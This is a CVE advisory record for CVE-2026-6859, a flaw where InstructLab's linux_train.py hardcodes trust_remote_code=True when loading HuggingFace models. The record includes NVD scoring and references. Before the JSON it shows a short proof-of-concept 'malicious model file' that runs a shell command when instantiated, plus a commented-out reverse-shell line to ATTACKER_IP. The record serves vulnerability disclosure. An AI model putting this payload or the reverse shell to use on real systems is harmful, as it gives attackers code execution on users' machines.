CVE-2026-6859

# Malicious model file (e.g., modeling_instructlab.py) # Attacker uploads this to HuggingFace Hub import os class InstructLabModel: def __init__(self, config): # The payload executes when the model is instantiated print("[+] PoC: Executing arbitrary code via trust_remote_code=True") # Example: Reverse shell or data exfiltration # os.system("bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1") os.system("whoami")

{"cve": {"id": "CVE-2026-6859", "sourceIdentifier": "[email protected]", "published": "2026-04-22T14:17:07.687", "lastModified": "2026-05-06T20:23:29.027", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in InstructLab. The `linux_train.py` script hardcodes `trust_remote_code=True` when loading models from HuggingFace. This allows a remote attacker to achieve arbitrary Python code execution by convincing a user to run `ilab train/download/generate` with a specially crafted malicious model from the HuggingFace Hub. This vulnerability can lead to complete system compromise."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-829"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:redhat:instructlab:-:*:*:*:*:*:*:*", "matchCriteriaId": "F16DE2EF-B42B-4D18-B9E4-3114EBBD65B1"}, {"vulnerable": true, "criteria": "cpe:2.3:o:redhat:enterprise_linux_ai:3.0:*:*:*:*:*:*:*", "matchCriteriaId": "531FF57A-65AE-482C-9A43-D1F2ECAD6ED0"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-6859", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2459998", "source": "[email protected]", "tags": ["Issue Tracking", "Vendor Advisory"]}]}}